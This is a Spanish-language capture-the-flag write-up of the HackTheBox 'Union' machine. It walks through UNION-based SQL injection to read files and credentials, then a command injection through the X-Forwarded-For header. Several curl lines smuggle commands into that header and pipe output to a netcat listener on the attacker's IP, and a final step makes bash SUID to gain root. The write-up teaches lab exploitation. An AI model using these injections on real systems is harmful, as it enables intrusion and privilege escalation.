Inicio HTB - Union
Entrada
Cancelar

HTB - Union

¡Hola! Vamos a resolver de la máquina Union de dificultad “Media” de la plataforma HackTheBox.

Técnicas Vistas:

  • SQLI (SQL Injection) - UNION Injection
  • SQLI - Read Files
  • HTTP Header Command Injection - X-FORWARDED-FOR [RCE]
  • Abusing sudoers privilege [Privilege Escalation]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Union. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
 ping -c 1 10.10.11.128
PING 10.10.11.128 (10.10.11.128) 56(84) bytes of data.
64 bytes from 10.10.11.128: icmp_seq=1 ttl=63 time=38.3 ms

--- 10.10.11.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.128 -oG allPorts

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
nmap -sCV -p80 10.10.11.128 -oN targeted

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Observamos dominio passbolt.bolt.htb. Lo agregamos a nuestro /etc/hosts

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
 whatweb http://10.10.11.128
http://10.10.11.128 [200 OK] Bootstrap[4.1.1], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.128], JQuery[3.2.1], Script, nginx[1.18.0]

Accedemos al servicio web por el puerto 80. Parece que estamos ante un panel que nos pide un nombre de player y posteriormente nos pide una flag

Empezamos probando las inyecciones típicas SQL pero parece tener un WAF que nos bloquea ciertas peticiones. Probamos con ' union select 1-- - y observamos una respuesta diferente al resto, nos muestra el input en pantalla

Capturamos petición con BurpSuite y comenzamos a enumerar las bases de datos, tablas, etc..

Comenzamos enumerando todas las bases de datos existentes

Enumeramos tablas de la base de datos november

Enumeramos columnas de las dos tablas encontradas

Enumeramos contenido columna one de la tabla flag

Enumeramos contenido de la columna player de la tabla players

Con la flag obtenida podemos introducirla en la web y nos sale un mensaje que nuestra IP tiene acceso a SSH

Si realizamos nuevamente un escaneo de puertos abiertos esta vez veremos el puerto 22 abierto

1
2
3
4
5
6
7
 nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.128 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-14 16:54 CET
Initiating SYN Stealth Scan at 16:54
Scanning 10.10.11.128 [65535 ports]
Discovered open port 80/tcp on 10.10.11.128
Discovered open port 22/tcp on 10.10.11.128

Mediante el comando load_file podemos mediante la inyección SQL, listar contenido de archivos de la máquina víctima. Listamos el contenido de /var/www/html/config.php

Accedemos por SSH con las credenciales obtenidas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ ssh uhc@10.10.11.128
The authenticity of host '10.10.11.128 (10.10.11.128)' can t be established.
ECDSA key fingerprint is SHA256:tT45oQAnI0hnOIQg3ZvtoS4RG00xhxxBJua12YRVv2g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.128' (ECDSA) to the list of known hosts.
uhc@10.10.11.128 s password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Nov  8 21:19:42 2021 from 10.10.14.8

Encontramos la flag en el directorio personal del usuario uhc

1
2
uhc@union:~$ cat user.txt 
6614a9365173ab4de***************

Escalada Privilegios


Examinamos el contenido de /var/www/html/firewall.php

1
2
3
4
5
6
7
8
9
10
11
12
.
.
<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
.
.

Vemos que en la variable ip almacena el contenido de la cabecera HTTP_X_FORWARDED_FOR, vamos a tratar de inyectar un comando ping en la cabecera y nos ponemos en escuha de trazas ICMP

1
2
3
4
5
6
#MAQUINA VICTIMA
uhc@union:/var/www/html$ curl -s -X GET http://localhost/firewall.php -H "X-FORWARDED-FOR: 1.1.1.1; ping -c 1 10.10.14.34;" -H "Cookie: PHPSESSID=eitt0r81tmnh7pqlhai5hfvuuu"
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
1
2
3
4
5
6
#MAQUINA ATACANTE
❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:24:26.921917 IP 10.129.96.75 > 10.10.14.34: ICMP echo request, id 1, seq 1, length 64
17:24:26.921945 IP 10.10.14.34 > 10.129.96.75: ICMP echo reply, id 1, seq 1, length 64

Esta vez ejecutaremos un whoami para saber ante qué usuario nos encontramos

1
2
#MAQUINA VICTIMA
uhc@union:/var/www/html$ curl -s -X GET http://localhost/firewall.php -H "X-FORWARDED-FOR: 1.1.1.1; whoami | nc 10.10.14.34 443;" -H "Cookie: PHPSESSID=eitt0r81tmnh7pqlhai5hfvuuu"
1
2
3
4
5
#MAQUINA ATACANTE
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.96.75] 54992
www-data

Listamos privilegios de sudoers del usuario www-data

1
2
#MAQUINA VICTIMA
uhc@union:/var/www/html$ curl -s -X GET http://localhost/firewall.php -H "X-FORWARDED-FOR: 1.1.1.1; sudo -l | nc 10.10.14.34 443;" -H "Cookie: PHPSESSID=eitt0r81tmnh7pqlhai5hfvuuu"
1
2
3
4
5
6
7
8
9
#MAQUINA ATACANTE
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.96.75] 54998
Matching Defaults entries for www-data on union:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on union:
    (ALL : ALL) NOPASSWD: ALL

Como el usuario www-data puede ejecutar todo con privilegio de sudo procedemos a asignar privilegio SUID a la bash

1
2
#MAQUINA VICTIMA
uhc@union:/var/www/html$ curl -s -X GET http://localhost/firewall.php -H "X-FORWARDED-FOR: 1.1.1.1;sudo chmod u+s /bin/bash | nc 10.10.14.34 443;" -H "Cookie: PHPSESSID=eitt0r81tmnh7pqlhai5hfvuuu"

Ya sólo nos queda acceder a una bash con privilegio de root mediante el comando bash -p. La flag la encontramos en el directorio de root

1
2
3
4
5
6
uhc@union:/var/www/html$ ls -la /bin/bash-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash
uhc@union:/var/www/html$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt 
288c2f6c65861bc7d***************

Hemos completado la máquina Union de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.